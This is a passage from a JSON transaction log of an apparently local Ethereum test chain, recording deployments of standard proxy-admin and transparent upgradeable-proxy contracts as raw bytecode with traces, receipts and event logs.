146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105e2565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c990869086906004016105ff565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff8082111561055957600080fd5b818601915086601f83011261056d57600080fd5b81358181111561057f5761057f6104f6565b604051601f8201601f19908116603f011681019083821181831017156105a7576105a76104f6565b816040528281528960208487010111156105c057600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b6000602082840312156105f457600080fd5b81516104b681610484565b60018060a01b03831681526000602060406020840152835180604085015260005b8181101561063c57858101830151858201606001528201610620565b506000606082860101526060601f19601f83011685010192505050939250505056fea26469706673582212204991d74046566cb91b8d4cf7495532eedcea4124e157cfebcba924ceb7fba96464736f6c63430008180033","nonce":33,"gas_used":441993},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x6be89","logs":[{"address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000008000000000"},"block_hash":"0x651eaac831dc52d77fc7ef37f14881b8dcbff27de4748a483df3256a3aea341c","block_number":1},{"info":{"transaction_hash":"0xd37d821613f3296bf7b88e5f2da62d3722dede33334e56330285fb4a592ab75d","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x0165878a594ca255338adfa4d48449f69242eb8f","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x0165878a594ca255338adfa4d48449f69242eb8f","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","nonce":6,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x117e5c","logs":[{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000001000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000040000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xfede283911ba375e70bbe42924c1b4680387bc5762aa0a081e0f3b967f9aa6c7","block_number":5},{"info":{"transaction_hash":"0x1d15ae6b01cf50f6bdf794782572de5debf9cb020716eec546a5c1a6694dd6d5","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x851356ae760d987e095750cceb3bc6014560891c","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b8152602060048201526026602482